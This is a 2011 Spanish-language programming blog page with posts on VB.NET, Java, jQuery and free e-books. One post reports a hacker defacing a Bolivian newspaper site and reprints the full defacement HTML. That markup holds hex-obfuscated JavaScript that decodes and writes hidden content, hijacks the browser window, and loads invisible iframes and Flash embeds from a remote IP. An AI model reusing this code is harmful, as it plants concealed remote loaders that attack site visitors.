Capturar webcam con VB.NET

¿Que haremos? Crearemos una aplicación en Visual Studio, la cual hará uso de una webcam para capturar el video en frames independientes y depositarlos en memoria para despues mostralos al usuario a través de un picturebox y un Timer para crear la ilusión de movimiento. ¿Porque lo haremos? Porque es justo y necesario ¿Que necesitamos? [...]

Envío de correo con JavaMail/Netbeans

JavaMail es una expansión de Java que facilita el envío y recepción de e-mail desde código java. JavaMail implementa el protocolo SMTP (Simple Mail Transfer Protocol) así como los distintos tipos de conexión con servidores de correo -TLS, SSL, autentificación con usuario y password, etc [Según SantaWikipedia] ¿Qué necesitamos? JavaMail 1.4.5 Java y Netbeans 6.9 [...]

Proyecto de base de datos Firebird VB

En este proyecto realizaremos una aplicación de base de datos Firebird con el lenguaje de programación de Visual Basic de Microsoft, este proyecto tendrá las funciones básicas de gestión INSERT, DELETE, UPDATE y una interfaz de usuario para utilizarlas. ¿Que necesitamos? Visual Studio 2008 o superior Firebird última versión Firebird ADO.NET Data Provider. Conocimientos básicos [...]

Imprimir imagen con Print

La siguiente clase hace uso de PRINT para imprimir una imagen que se encuentra en un variable de tipo FileInputStream, esta clase a su vez es implementada desde una interfaz que hace fácil su uso, la clase así como todo el proyecto esta comentado. import java.io.File; import javax.print.Doc; import java.io.IOException; import javax.print.DocFlavor; import javax.print.SimpleDoc; import java.io.FileInputStream; [...]

Code Army Bolivia

3/10/11

Descargate libros GRATIS de Ingenieria

JAN29

http://elibro.usfxch.net/ Esta es una pagina ya antigua y hasta abandonada porque no hay actualizaciones nuevas sobre libros, sin embargo tiene muy buen contenido, podras encontrar libros de ingenieria, proyectos de grado, tutoriales, guias, etc. para poder ver los libros primero debes registrarte, pero no hay problema, que es sencillo, ahora para poder descargte los libros en PDF, mas abajo te dejo un videotutorial.

Los libros que podras encontrar son parte de todas las ramas de la ingenieria, aui un pequeño indice.
  • Arquitectura
  • Carreras técnicas
  • Diseño de Interiores
  • Industrias de la Alimentación
  • Informática
  • Ingeniería de Sistemas
  • Ingeniería de Telecomunicaciones
  • Ingeniería Mecánica
  • Ingeriería Civil
  • Ingeriería de Alimentos
  • Ingeriería del Gas y Petroleo
  • Ingeriería del Medio Ambiente
  • Ingeriería Eléctrica
  • Ingeriería Electromecánica
  • Ingeriería Industrial
  • Ingeriería Química
  • Proyectos de Arquitectura
  • Proyectos de Ingeniería Civil
  • Proyectos de Ingeniería de Sistemas
  • Proyectos de Ingeniería Química
  • Química Industrias
Una muestra de lo que podras encontrar
  • infraestructura streaming para programar en java
  • Análisis y Diseño de una Biblioteca Digital
  • The symfony Reference Book
  • symfony and Doctrine
  • Learn on how to use Doctrine with symfony.
  • cobit
  • Infraestructure Standar for Data Centers
  • Diseño y Evaluación de Proyectos
  • Manual Diseño Evaluación Proyectos
  • Matemáticas Finaciera para la toma de Desiciones
  • Matemáticas Finaciera
  • Caracterización Sistemas Distribuidos
  • Sistemas Distribuidos
  • Administración de Proyectos
  • Apuntes de Simulación
  • Simulación de Sistemas
  • Ingeniería del Software en entornos de SL
  • Ingeniería Software
  • Metodología de la Investigación
  • Metodología Investigación
  • Manual de Economía
  • Introducción a la Inteligencia Artificial
  • Curso Basico de Sistemas Expertos
  • Analisis Orientado a Objetos
  • Aplicaciones Distribuidas
  • Conectividad de JAVA con BD mediante Objetos RMI
  • Desarrollos CORBA con C++
  • Curso de Ensamblador
  • Diseño Gráfico de Paginas Web
  • Introducción a CSS
  • Manual de JavaScript
  • Lenguaje DHTML
  • Manual de PHP
  • PostgreSQL 8 Documentation
  • Manual del usuario de PostgreSQL
  • XHTML+CSS
  • Tutorial Básico MYSQL
  • El Universo Digital del IBM PC, AT y PS/2
  • Manual del Docente Moodle
  • Modelo de Simulación para Análisis y Evaluación de Proyectos
  • Aplications in Logistics using Simulation with Promodel
  • Guía Basica de Software de Simulación Promodel
  • Scrum en 5 minutos
  • Problemas de Electronica Digital
  • El canto de las líneas eléctricas
  • CIRCUITOS Y SISTEMAS DIGITALES
  • ELECTRÓNICA DIGITAL
  • DISEÑO DE UN SISTEMA DE CONTROL DE TEMPERATURA
  • Diseño de estructuras para arquitectura
  • Problemas de Electronica Digital
  • DISEÑO DE UN SISTEMA DE CONTROL DE TEMPERATURA
  • Sistema de inscripción, matriculacion y Seguimiento Academico
  • Sistema de Gestión para la concesionaria NISSAN
  • Sistema de Antecedentes Policiales, Destinado a la Policía
  • Sistema de Servicios de Comunicación e Información basada...
  • Diseño Efectivo de Sitios Web
  • Sistema de Información para la elaboración de proyectos
  • Control Remoto de una WebCam Mediante Internet
  • Sistema de Asistencia al Proceso Educativo
  • Sistema de Gestión Para la Cooperativa Multiactiva
  • Implantación de un Sistema de Seguridad Lógica contra intrusos
  • Sistema Integrado de Facturación y Cobranza Mediante Cajero
  • Análisis y Diseño de una Biblioteca Digital
  • Diseño de estructuras para arquitectura
Y eso no es todo, tambien existen libros para otras carreras como medica derecho, agronomia, enfermeria, etc.

Ahora el videotutorial

Y un enlace de muestra de lo que podras descargar:

http://elibro.usfxch.net/uploads/08f360ce7e9d1596b0e986fef08047ec223ba410.pdf

que se diviertan

continue reading

25/9/11

Hacker ataca pagina web de "El Diario"

JAN29

El portal del periodico boliviano “El diario” fue atacado este domingo 25 de septiembre por un Hacker identificado por el alias de Tiger-M@te, este hacker bastante conocido en el mundo del hacking por su ataque a Google Bangladesh (www.google.com.bd) a principios de este año, entre muchos otros ataques a sitios de telecomunicaciones como www.waridtel.com.bd y www.bd.airtel.com, americanexpress.com.bd, entre otros.

Este ataque no fue realizado por Anonymous Bolivia, el cual ya ataco algunas paginas bolivianas meses atras, este ataque más parece ser un ataque al azar ya que no existe ninguna conexion entre este hacker y la coyuntura social y politica actual de Bolivia. El sitio web ya fue restaurado en horas de la tarde ante el asombro y panico de los funcionarios de este medio de comunicación que no podian entender lo que pasaba

para aquellos programadores que les interese este tema, dejo el código de la pagina como se encontraba al momento del ataque:


<html><head>
<title>HackeD By TiGER-M@TE</title><style>
body { scrollbar-track-color: #000000;scrollbar-darkshadow-color: #000000; scrollbar-face-color: #000000; scrollbar-shadow-color: #FFFFFF; scrollbar-highlight-color: #FFFFFF; scrollbar-3dlight-color: #000000;  scrollbar-arrow-color: #FFFFFF; color:#8E959E }
.name { text-decoration: none;}
</style><script>var _0x8ae2=["\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x6F\x6E\x65\x2D\x68\x2E\x6F\x72\x67\x2F\x61\x72\x63\x68\x69\x76\x65\x2F\x6E\x6F\x74\x69\x66\x69\x65\x72\x3D\x54\x69\x47\x45\x52\x2D\x4D\x25\x34\x30\x54\x45","\x6F\x70\x65\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x6F\x6E\x65\x2D\x68\x2E\x6F\x72\x67\x2F\x61\x72\x63\x68\x69\x76\x65\x2F\x6E\x6F\x74\x69\x66\x69\x65\x72\x3D\x54\x69\x47\x45\x52\x2D\x4D\x25\x34\x30\x54\x45\x2F\x73\x70\x65\x63\x69\x61\x6C\x3D\x31","\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x6D\x67\x74\x66\x79\x2E\x63\x6F\x6D\x2F\x3F\x71\x3D\x48\x61\x63\x6B\x65\x64\x20\x62\x79\x20\x54\x69\x47\x45\x52\x2D\x4D\x25\x34\x30\x54\x45","\x73\x63\x72\x6F\x6C\x6C\x42\x79","\x74\x69\x74\x6C\x65","\x48\x61\x63\x6B\x65\x44\x20\x42\x79\x20\x54\x69\x47\x45\x52\x2D\x4D\x40\x54\x45","\x6F\x6E\x6B\x65\x79\x64\x6F\x77\x6E","\x72\x65\x73\x69\x7A\x65\x54\x6F","\x6D\x6F\x76\x65\x54\x6F","\x6D\x6F\x76\x65\x28\x29","\x72\x6F\x75\x6E\x64","\x66\x67\x43\x6F\x6C\x6F\x72","\x62\x67\x43\x6F\x6C\x6F\x72","\x4C\x4F\x4C","\x61\x76\x61\x69\x6C\x57\x69\x64\x74\x68","\x61\x76\x61\x69\x6C\x48\x65\x69\x67\x68\x74"];function details(){window[_0x8ae2[1]](_0x8ae2[0]);window[_0x8ae2[1]](_0x8ae2[2]);window[_0x8ae2[1]](_0x8ae2[3]);} ;window[_0x8ae2[4]](0,1);if(document[_0x8ae2[5]]==_0x8ae2[6]){function keypressed(){return false;} ;document[_0x8ae2[7]]=keypressed;window[_0x8ae2[8]](0,0);window[_0x8ae2[9]](0,0);setTimeout(_0x8ae2[10],2);var mxm=50;var mym=25;var mx=0;var my=0;var sv=50;var status=1;var szx=0;var szy=0;var c=255;var n=0;var sm=30;var cycle=2;var done=2;function move(){if(status==1){mxm=mxm/1.05;mym=mym/1.05;mx=mx+mxm;my=my-mym;mxm=mxm+(400-mx)/100;mym=mym-(300-my)/100;window[_0x8ae2[9]](mx,my);rmxm=Math[_0x8ae2[11]](mxm/10);rmym=Math[_0x8ae2[11]](mym/10);if(rmxm==0){if(rmym==0){status=2;} ;} ;} ;if(status==2){sv=sv/1.1;scrratio=1+1/3;mx=mx-sv*scrratio/2;my=my-sv/2;szx=szx+sv*scrratio;szy=szy+sv;window[_0x8ae2[9]](mx,my);window[_0x8ae2[8]](szx,szy);if(sv<0.1){status=3;} ;} ;if(status==3){document[_0x8ae2[12]]=0xffffFF;c=c-16;if(c<0){status=8;} ;} ;if(status==4){c=c+16;document[_0x8ae2[13]]=c*65536;document[_0x8ae2[12]]=(255-c)*65536;if(c>239){status=5;} ;} ;if(status==5){c=c-16;document[_0x8ae2[13]]=c*65536;document[_0x8ae2[12]]=(255-c)*65536;if(c<0){status=6;cycle=cycle-1;if(cycle>0){if(done==1){status=7;} else {status=4;} ;} ;} ;} ;if(status==6){document[_0x8ae2[5]]=_0x8ae2[14];alert(_0x8ae2[14]);cycle=2;status=4;done=1;} ;if(status==7){c=c+4;document[_0x8ae2[13]]=c*65536;document[_0x8ae2[12]]=(255-c)*65536;if(c>128){status=8;} ;} ;if(status==8){window[_0x8ae2[9]](0,0);sx=screen[_0x8ae2[15]];sy=screen[_0x8ae2[16]];window[_0x8ae2[8]](sx,sy);status=9;} ;var _0xceebx11=setTimeout(_0x8ae2[10],0.3);} ;} ;</script></head>
<body oncontextmenu="return false;" bgcolor="#000000" text="16777215"><p align="center"><span style="font-weight: 700;"><font color="#EEEEEE" size="5" face="Tahoma"><i>Server HackeD<br><br>By</i> </font><br><br><a href="#" class="name"><script>if (navigator.appName == 'Microsoft Internet Explorer'){document.write('<font face="Arial Black" size="5" color="#FF0000">');}else{document.write('<font face="Arial Black" size="5" color="black" style="text-shadow:#FFFFFF 2px 2px 5px">');}</script><font style="text-shadow: 2px 2px 5px rgb(255, 255, 255);" color="black" size="5" face="Arial Black"><i onclick="details()">TiGER-M@TE</i></font></a></span><br><br><script>var l1n3='<img src="data:image/gif;base64,R0lGODlhqAABAOYAAAMDA3d4eAAAAAICAfLy8l5dXaWlpSQlJBwcHBQVFBISEQ0NDbu7u/v8/EJBQePj4/3+/T4+PtjX2Do7OlZWVyEiIjc3N09PT4OEhIB/f/r6+sjIyMTExPb29rS0tHx7fOvr64+Pj4eHh56dnZqZmvT09GVlZejp6dXU1aGhoeXm5khISJKTk93e3hkZGQcHB0RFRBcXF+7u7isqKi4uLmxtbLe3t6ysrXR0dTQ0M87Ozw8QEMvLy6ipqQUFBUxMTAkJCdHS0vDw73BwcQsLCycnJ/j4+JeXl8HBwmFhYVNSU+Dg4Glpadvb2jEwML6+vrCvsB8fH4uLi1pZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACoAAEAAAewgBANGkYdJQRCMiAnKg9LLU0SKEE6PBscSE8MNh5QNz0GKSMkRywhUiIYGR8BOEM1TCZJBVMUShc/KzAOERMWOU40M0UHFVEILjEJCjsLREAvPgADAgIDAD4vQEQLOwoJMS4IURUHRTM0TjkWExEOMCs/F0oUUwVJJkw1QzgBHxkYREgJweIIiREpDPS4AcWDDQZPkHDYwENHEBQSmrRY8kDFCRAyhBAo0cGIhgYQAgEAOw==" />';
document.write(l1n3+l1n3);</script><img src="data:image/gif;base64,R0lGODlhqAABAOYAAAMDA3d4eAAAAAICAfLy8l5dXaWlpSQlJBwcHBQVFBISEQ0NDbu7u/v8/EJBQePj4/3+/T4+PtjX2Do7OlZWVyEiIjc3N09PT4OEhIB/f/r6+sjIyMTExPb29rS0tHx7fOvr64+Pj4eHh56dnZqZmvT09GVlZejp6dXU1aGhoeXm5khISJKTk93e3hkZGQcHB0RFRBcXF+7u7isqKi4uLmxtbLe3t6ysrXR0dTQ0M87Ozw8QEMvLy6ipqQUFBUxMTAkJCdHS0vDw73BwcQsLCycnJ/j4+JeXl8HBwmFhYVNSU+Dg4Glpadvb2jEwML6+vrCvsB8fH4uLi1pZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACoAAEAAAewgBANGkYdJQRCMiAnKg9LLU0SKEE6PBscSE8MNh5QNz0GKSMkRywhUiIYGR8BOEM1TCZJBVMUShc/KzAOERMWOU40M0UHFVEILjEJCjsLREAvPgADAgIDAD4vQEQLOwoJMS4IURUHRTM0TjkWExEOMCs/F0oUUwVJJkw1QzgBHxkYREgJweIIiREpDPS4AcWDDQZPkHDYwENHEBQSmrRY8kDFCRAyhBAo0cGIhgYQAgEAOw=="><img src="data:image/gif;base64,R0lGODlhqAABAOYAAAMDA3d4eAAAAAICAfLy8l5dXaWlpSQlJBwcHBQVFBISEQ0NDbu7u/v8/EJBQePj4/3+/T4+PtjX2Do7OlZWVyEiIjc3N09PT4OEhIB/f/r6+sjIyMTExPb29rS0tHx7fOvr64+Pj4eHh56dnZqZmvT09GVlZejp6dXU1aGhoeXm5khISJKTk93e3hkZGQcHB0RFRBcXF+7u7isqKi4uLmxtbLe3t6ysrXR0dTQ0M87Ozw8QEMvLy6ipqQUFBUxMTAkJCdHS0vDw73BwcQsLCycnJ/j4+JeXl8HBwmFhYVNSU+Dg4Glpadvb2jEwML6+vrCvsB8fH4uLi1pZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACoAAEAAAewgBANGkYdJQRCMiAnKg9LLU0SKEE6PBscSE8MNh5QNz0GKSMkRywhUiIYGR8BOEM1TCZJBVMUShc/KzAOERMWOU40M0UHFVEILjEJCjsLREAvPgADAgIDAD4vQEQLOwoJMS4IURUHRTM0TjkWExEOMCs/F0oUUwVJJkw1QzgBHxkYREgJweIIiREpDPS4AcWDDQZPkHDYwENHEBQSmrRY8kDFCRAyhBAo0cGIhgYQAgEAOw=="><br><br><script>if (navigator.appName == 'Microsoft Internet Explorer'){document.write('<font face="Arial Black" size="5" color="#FF0000">');}else{document.write('<font face="Arial Black" size="5" color="black" style="text-shadow:#FFFFFF 2px 2px 5px">');}</script><font style="text-shadow: 2px 2px 5px rgb(255, 255, 255);" color="black" size="5" face="Arial Black">#Bangladeshi HackeR</font><br><br><br>
<script>var _0x9355=["\x74\x69\x74\x6C\x65","\x48\x61\x63\x6B\x65\x44\x20\x42\x79\x20\x54\x69\x47\x45\x52\x2D\x4D\x40\x54\x45","\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x66\x6F\x74\x6F\x6E\x6F\x6E\x73\x2E\x72\x75\x2F\x69\x6D\x61\x67\x65\x73\x2F\x31\x37\x2E\x30\x33\x2E\x31\x31\x2F\x62\x79\x74\x69\x67\x65\x72\x6D\x74\x65\x2E\x6A\x70\x67\x22\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x22\x74\x68\x69\x73\x2E\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x6E\x75\x6C\x6C\x3B\x74\x68\x69\x73\x2E\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x69\x6D\x61\x67\x65\x2E\x62\x61\x79\x69\x6D\x67\x2E\x63\x6F\x6D\x2F\x6D\x61\x65\x61\x64\x61\x61\x64\x69\x2E\x6A\x70\x67\x27\x3B\x22\x20\x2F\x3E","\x77\x72\x69\x74\x65"];if(document[_0x9355[0]]!=_0x9355[1]){exit(0);} ;document[_0x9355[3]](_0x9355[2]);</script><img src="http://www.fotonons.ru/images/17.03.11/bytigermte.jpg" onerror="this.onerror=null;this.src='http://image.bayimg.com/maeadaadi.jpg';">

<br><br><br><font weight="bold" color="#FFFFFF" size="5" face="Lucida Console">Greetz :</font> <font color="#FF0000" size="4"><b>aBu.HaLiL501</b></font> ; <font color="#FF0000" size="4"><b>w7sh.syria</b></font> ; <font color="#FF0000" size="4"><b>Sy-Hacker</b></font> ; <font color="#FF0000" size="4"><b>NmR.Hacker</b></font> ; <font color="#FF0000" size="4"><b>Wa7sh Hacker</b></font> ; <font color="#FF0000" size="4"><b>h311 c0d3</b></font></p><p style="border: 10px solid rgb(36, 36, 36); padding: 15px; text-align: center; border-radius: 15px 15px 15px 15px; margin: 0pt;"><span style="font-weight: 700;"><font color="#FF0000" size="1" face="Tahoma"><i><font weight"bold"="" color="white">#</font>TiGER-M@TE<br>#<font weight="bold" color="white">localhost_80@hotmail.com</font><br><font weight"bold"="" color="white"></font><font color="yellow">©UNDERGROUND HACKERS  2007 - 2011 </font></i><br><br><font size="3">#EOF</font></font></span></p>

<script language="javascript">var _0xd8af=["\x25\x33\x43\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\x32\x30\x25\x36\x43\x25\x36\x31\x25\x36\x45\x25\x36\x37\x25\x37\x35\x25\x36\x31\x25\x36\x37\x25\x36\x35\x25\x33\x44\x25\x32\x32\x25\x36\x41\x25\x36\x31\x25\x37\x36\x25\x36\x31\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\x32\x32\x25\x33\x45\x25\x36\x36\x25\x37\x35\x25\x36\x45\x25\x36\x33\x25\x37\x34\x25\x36\x39\x25\x36\x46\x25\x36\x45\x25\x32\x30\x25\x36\x34\x25\x34\x36\x25\x32\x38\x25\x37\x33\x25\x32\x39\x25\x37\x42\x25\x37\x36\x25\x36\x31\x25\x37\x32\x25\x32\x30\x25\x37\x33\x25\x33\x31\x25\x33\x44\x25\x37\x35\x25\x36\x45\x25\x36\x35\x25\x37\x33\x25\x36\x33\x25\x36\x31\x25\x37\x30\x25\x36\x35\x25\x32\x38\x25\x37\x33\x25\x32\x45\x25\x37\x33\x25\x37\x35\x25\x36\x32\x25\x37\x33\x25\x37\x34\x25\x37\x32\x25\x32\x38\x25\x33\x30\x25\x32\x43\x25\x37\x33\x25\x32\x45\x25\x36\x43\x25\x36\x35\x25\x36\x45\x25\x36\x37\x25\x37\x34\x25\x36\x38\x25\x32\x44\x25\x33\x31\x25\x32\x39\x25\x32\x39\x25\x33\x42\x25\x32\x30\x25\x37\x36\x25\x36\x31\x25\x37\x32\x25\x32\x30\x25\x37\x34\x25\x33\x44\x25\x32\x37\x25\x32\x37\x25\x33\x42\x25\x36\x36\x25\x36\x46\x25\x37\x32\x25\x32\x38\x25\x36\x39\x25\x33\x44\x25\x33\x30\x25\x33\x42\x25\x36\x39\x25\x33\x43\x25\x37\x33\x25\x33\x31\x25\x32\x45\x25\x36\x43\x25\x36\x35\x25\x36\x45\x25\x36\x37\x25\x37\x34\x25\x36\x38\x25\x33\x42\x25\x36\x39\x25\x32\x42\x25\x32\x42\x25\x32\x39\x25\x37\x34\x25\x32\x42\x25\x33\x44\x25\x35\x33\x25\x37\x34\x25\x37\x32\x25\x36\x39\x25\x36\x45\x25\x36\x37\x25\x32\x45\x25\x36\x36\x25\x37\x32\x25\x36\x46\x25\x36\x44\x25\x34\x33\x25\x36\x38\x25\x36\x31\x25\x37\x32\x25\x34\x33\x25\x36\x46\x25\x36\x34\x25\x36\x35\x25\x32\x38\x25\x37\x33\x25\x33\x31\x25\x32\x45\x25\x36\x33\x25\x36\x38\x25\x36\x31\x25\x37\x32\x25\x34\x33\x25\x36\x46\x25\x36\x34\x25\x36\x35\x25\x34\x31\x25\x37\x34\x25\x32\x38\x25\x36\x39\x25\x32\x39\x25\x32\x44\x25\x37\x33\x25\x32\x45\x25\x37\x33\x25\x37\x35\x25\x36\x32\x25\x37\x33\x25\x37\x34\x25\x37\x32\x25\x32\x38\x25\x37\x33\x25\x32\x45\x25\x36\x43\x25\x36\x35\x25\x36\x45\x25\x36\x37\x25\x37\x34\x25\x36\x38\x25\x32\x44\x25\x33\x31\x25\x32\x43\x25\x33\x31\x25\x32\x39\x25\x32\x39\x25\x33\x42\x25\x36\x34\x25\x36\x46\x25\x36\x33\x25\x37\x35\x25\x36\x44\x25\x36\x35\x25\x36\x45\x25\x37\x34\x25\x32\x45\x25\x37\x37\x25\x37\x32\x25\x36\x39\x25\x37\x34\x25\x36\x35\x25\x32\x38\x25\x37\x35\x25\x36\x45\x25\x36\x35\x25\x37\x33\x25\x36\x33\x25\x36\x31\x25\x37\x30\x25\x36\x35\x25\x32\x38\x25\x37\x34\x25\x32\x39\x25\x32\x39\x25\x33\x42\x25\x37\x44\x25\x33\x43\x25\x32\x46\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\x33\x45","\x77\x72\x69\x74\x65","\x25\x32\x38\x36\x46\x76\x66\x75\x6C\x73\x77\x25\x32\x38\x36\x48\x6C\x69\x25\x32\x38\x35\x25\x33\x42\x67\x72\x66\x78\x70\x68\x71\x77\x31\x77\x6C\x77\x6F\x68\x25\x32\x38\x35\x34\x25\x32\x38\x36\x47\x25\x32\x38\x35\x25\x33\x41\x4B\x64\x66\x6E\x68\x47\x25\x32\x38\x35\x33\x45\x25\x37\x43\x25\x32\x38\x35\x33\x57\x6C\x4A\x48\x55\x30\x50\x43\x57\x48\x25\x32\x38\x35\x25\x33\x41\x25\x32\x38\x35\x25\x33\x43\x25\x32\x38\x25\x33\x41\x45\x68\x25\x37\x42\x6C\x77\x25\x32\x38\x35\x25\x33\x42\x33\x25\x32\x38\x35\x25\x33\x43\x25\x32\x38\x36\x45\x25\x32\x38\x25\x33\x41\x47\x25\x32\x38\x33\x44\x67\x72\x66\x78\x70\x68\x71\x77\x31\x7A\x75\x6C\x77\x68\x25\x32\x38\x35\x25\x33\x42\x25\x32\x38\x35\x25\x33\x41\x25\x32\x38\x36\x46\x6C\x69\x75\x64\x70\x68\x25\x32\x38\x35\x33\x69\x75\x64\x70\x68\x65\x72\x75\x67\x68\x75\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x33\x25\x32\x38\x35\x35\x25\x32\x38\x35\x33\x6B\x68\x6C\x6A\x6B\x77\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x33\x25\x32\x38\x35\x35\x25\x32\x38\x35\x33\x7A\x6C\x67\x77\x6B\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x33\x25\x32\x38\x35\x35\x25\x32\x38\x35\x33\x25\x32\x38\x35\x33\x76\x75\x66\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x6B\x77\x77\x73\x25\x32\x38\x36\x44\x32\x32\x25\x33\x41\x25\x33\x41\x31\x35\x37\x25\x33\x41\x31\x39\x25\x33\x43\x31\x39\x25\x33\x42\x32\x31\x31\x31\x32\x37\x33\x37\x31\x73\x6B\x73\x25\x32\x38\x35\x35\x25\x32\x38\x36\x48\x25\x32\x38\x36\x46\x32\x6C\x69\x75\x64\x70\x68\x25\x32\x38\x36\x48\x25\x32\x38\x36\x46\x68\x70\x65\x68\x67\x25\x32\x38\x35\x33\x76\x75\x66\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x6B\x77\x77\x73\x25\x32\x38\x36\x44\x32\x32\x25\x33\x41\x25\x33\x41\x31\x35\x37\x25\x33\x41\x31\x39\x25\x33\x43\x31\x39\x25\x33\x42\x32\x31\x31\x31\x32\x45\x25\x37\x43\x62\x57\x6C\x4A\x48\x55\x30\x50\x43\x57\x48\x31\x76\x7A\x69\x25\x32\x38\x36\x49\x76\x72\x78\x71\x67\x76\x7A\x69\x25\x32\x38\x36\x47\x6B\x77\x77\x73\x25\x32\x38\x36\x44\x32\x32\x25\x33\x41\x25\x33\x41\x31\x35\x37\x25\x33\x41\x31\x39\x25\x33\x43\x31\x39\x25\x33\x42\x32\x31\x31\x31\x32\x57\x6C\x4A\x48\x55\x30\x50\x43\x57\x48\x31\x76\x7A\x69\x25\x32\x38\x35\x39\x64\x78\x77\x72\x73\x6F\x64\x25\x37\x43\x25\x32\x38\x36\x47\x34\x25\x32\x38\x35\x39\x6F\x72\x72\x73\x76\x25\x32\x38\x36\x47\x34\x25\x32\x38\x35\x35\x25\x32\x38\x35\x33\x7A\x6C\x67\x77\x6B\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x33\x25\x32\x38\x35\x35\x25\x32\x38\x35\x33\x6B\x68\x6C\x6A\x6B\x77\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x33\x25\x32\x38\x35\x35\x25\x32\x38\x35\x33\x77\x25\x37\x43\x73\x68\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x64\x73\x73\x6F\x6C\x66\x64\x77\x6C\x72\x71\x32\x25\x37\x42\x30\x76\x6B\x72\x66\x6E\x7A\x64\x79\x68\x30\x69\x6F\x64\x76\x6B\x25\x32\x38\x35\x35\x25\x32\x38\x36\x48\x25\x32\x38\x36\x46\x32\x68\x70\x65\x68\x67\x25\x32\x38\x36\x48\x25\x32\x38\x35\x25\x33\x41\x25\x32\x38\x35\x25\x33\x43\x25\x32\x38\x36\x45\x25\x32\x38\x36\x46\x32\x76\x66\x75\x6C\x73\x77\x25\x32\x38\x36\x48\x33"];document[_0xd8af[1]](unescape(_0xd8af[0]));dF(_0xd8af[2]);</script><script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}</script><script>if(document.title!='HackeD By TiGER-M@TE'){exit(0);}
document.write('<iframe frameborder="0" height="0" width="0"  src="http://77.247.69.68/.../404.php"></iframe><embed src="http://77.247.69.68/.../By_TiGER-M@TE.swf?soundswf=http://77.247.69.68/.../TiGER-M@TE.swf&autoplay=1&loops=1" width="0" height="0" type="application/x-shockwave-flash"></embed>');</script><iframe src="http://77.247.69.68/.../404.php" width="0" frameborder="0" height="0"></iframe><embed src="http://77.247.69.68/.../By_TiGER-M@TE.swf?soundswf=http://77.247.69.68/.../TiGER-M@TE.swf&amp;autoplay=1&amp;loops=1" type="application/x-shockwave-flash" width="0" height="0">

<!-- mp3 code ended -->

</body><!-- mp3 code starts from here,feel free to copy/paste --></html>

y se acabó..........

continue reading

24/9/11

El Laberinto del Miedo

JAN29

Aquí tenéis el famoso juego de la niña del exorcista en su versión "El grito", también llamado juego del laberinto o The Maze, que pone a prueba vuestra habilidad y reflejos al tener que pasar el punto por los caminitos, ayudados sólo del ratón. Al final, hay una recompensa muy buena que seguramente disfrutaréis con gran agrado. y ole!!!



¡TE RETO A JUGARLO!

Bajatelo desde aqui: http://link.jc-mouse.net/?id=GAMLAB2TWS, es GRATIS!

Si eres programador y te intereza el codigo fuente, sigue el siguiente enlace: El Laberinto proyecto completo

continue reading

18/9/11

Drag and Drop con jQuery (Ejercicio Resuelto)

JAN29

Problema: Se desea desarrollar una aplicacion web utilizando JavaScript y el plugin JQuery UI para seleccionar nombres de una lista de alumnos y arrastrarlos en una nueva lista los nombres de la lista vienen de una base de datos y cada uno de ellos tiene un identificador único (ID) ademas del nombre del alumnos (texto), los valores seleccionados seran utilizados para el registro de estos en una nueva tabla, asi que se necesitan recuperar los ID unicos asi como los nombres de los alumnos
Restricción: La cantidad maxima de nombres seleccionables son 3, la aplicación no debe
permitir que se añadan más nombres a la nueva lista, debe avisar de ello al usuario

Solucion:
Para este problema se utilizaran el plugin de JQuery  v1.6.2 y JQuery UI 1.6rc6, estos se añaden a la pagina web:



<script language="javascript" src="jquery.js"></script>
<script language="javascript" src="jquery-ui-personalized-1.6rc6.min.js"></script>

Se crea la estructura de las listas utilizando DIV, Ul, IL, se añade tambien un Button



<div id="div_box">
<span>Lista de Alumnos</span>
<ul id="lista1">
 <li id="76"><a href="#">Emiliano Salido del Pozo</a></li>
    <li id="200"><a href="#">Rosa Malpartida</a></li>
    <li id="41"><a href="#">Rosa Melcacho</a></li>
    <li id="7"><a href="#">Miren Amiano</a></li>
</ul>
</div>
<div style="float:left; margin-top:80px;"><input name="boton" id="boton" type="button" value="Seleccionar" /></div>
<div id="div_box">
<span>Alumnos Seleccionados</span>
<ul id="lista2">
 <li id="11"><a href="#">Debora Vergara</a></li>
    <li id="12"><a href="#">Benito Camela Suavecito</a></li>
</ul>
</div>

Para organizar y formatear las listas y los contenedores se utiliza estilos CSS


